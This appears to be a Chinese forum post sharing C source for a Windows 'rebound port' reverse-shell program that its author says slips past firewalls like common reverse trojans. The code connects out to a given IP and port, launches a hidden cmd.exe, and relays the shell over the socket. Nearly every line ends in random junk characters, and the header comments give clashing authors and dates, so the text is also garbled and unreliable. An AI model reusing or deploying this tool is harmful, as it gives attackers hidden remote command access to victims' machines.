这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gKay3}w
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/* ============================== C%+>uzVIw
Rebound port in Windows NT 7LdNE|IP
By wind,2006/7 Le':b2o
===============================*/ uyDYS
#include )#n>))
#include V7
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#pragma comment(lib,"wsock32.lib") *tZ#^YG{(
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void OutputShell(); Y)X58_En
SOCKET sClient; 3tTz$$-#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fMFlY%@t
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void main(int argc,char **argv) TAu*lL(F
{ Y)L\*+
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WSADATA stWsaData; "yCek
int nRet; y|+ltA K
SOCKADDR_IN stSaiClient,stSaiServer; AH(O"v`
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if(argc != 3) !jDqRXi(
{ K!9rH>`\
printf("Useage:\n\rRebound DestIP DestPort\n"); 7TQh'j
return; IJn r^S8
} s=nE'/q1|
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WSAStartup(MAKEWORD(2,2),&stWsaData); IK6XJsz$J
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZN ?P4#ZS
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stSaiClient.sin_family = AF_INET; N2_ =^s7
stSaiClient.sin_port = htons(0); Fq5);sX=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NB&u^8b
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `<>8tZS9"
{ m`c(J1Et
printf("Bind Socket Failed!\n"); >gr6H1
return; +G_6Ek4
} ytmlG%
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stSaiServer.sin_family = AF_INET; lm&C!{K
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Dg#A b8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); NG_O I*|~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7q|(ZZa
{ 5hp b=2
printf("Connect Error!"); "7)F";_(^
return; y( MF_'l
} r\[HR ^`
OutputShell(); |l ~BdP
} A}\Rms2
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void OutputShell() `>8|
{ (U`7[F
char szBuff[1024]; Ok6Y'P
SECURITY_ATTRIBUTES stSecurityAttributes; [-$&pB>w8'
OSVERSIONINFO stOsversionInfo; $Y,]D*|"K
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $vy.BYFm
STARTUPINFO stStartupInfo; #OWwg`AWv
char *szShell; ~ilbW|s?=k
PROCESS_INFORMATION stProcessInformation; (p14{
unsigned long lBytesRead; `s:| 4;.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /p>"|z
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XE$eHx3;
stSecurityAttributes.lpSecurityDescriptor = 0; h)wR[N]n
stSecurityAttributes.bInheritHandle = TRUE; ~:)$~g7>b
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 6g$04C3tHi
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~*B1}#;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lGLZIp
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RFK
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stStartupInfo.wShowWindow = SW_HIDE; /2HwK/RZ
stStartupInfo.hStdInput = hReadPipe; LwGcy1F.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x2ol
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GetVersionEx(&stOsversionInfo); +Kq>r|;
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switch(stOsversionInfo.dwPlatformId) 2|%30i,vV
{ ;*Z
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case 1: K.z}%a
szShell = "command.com"; Y,(eu*Za
break; DR0W)K
^
default: <O>Q;}>gfc
szShell = "cmd.exe"; Zo0&<QWj
break; ao-C9|2>NU
} mG@Q}Y(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4UL-j
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send(sClient,szMsg,77,0); n)K6Z{x
while(1) N{9<Tf *
{ 6U/wFT!7$
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a|7V{pp=M
if(lBytesRead) H1?1mH
{ K5.C*|w
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [U jbox
send(sClient,szBuff,lBytesRead,0); |\_O8=B%
} 7>ODaj
else zIo))L
{ mtOrb9`m
lBytesRead=recv(sClient,szBuff,1024,0); nlY ^
if(lBytesRead<=0) break; W;-Qze\D
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u%h<5WNh<
} _+;x4K;
} *Cb(4h-
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return; 0Hz3nd?v
}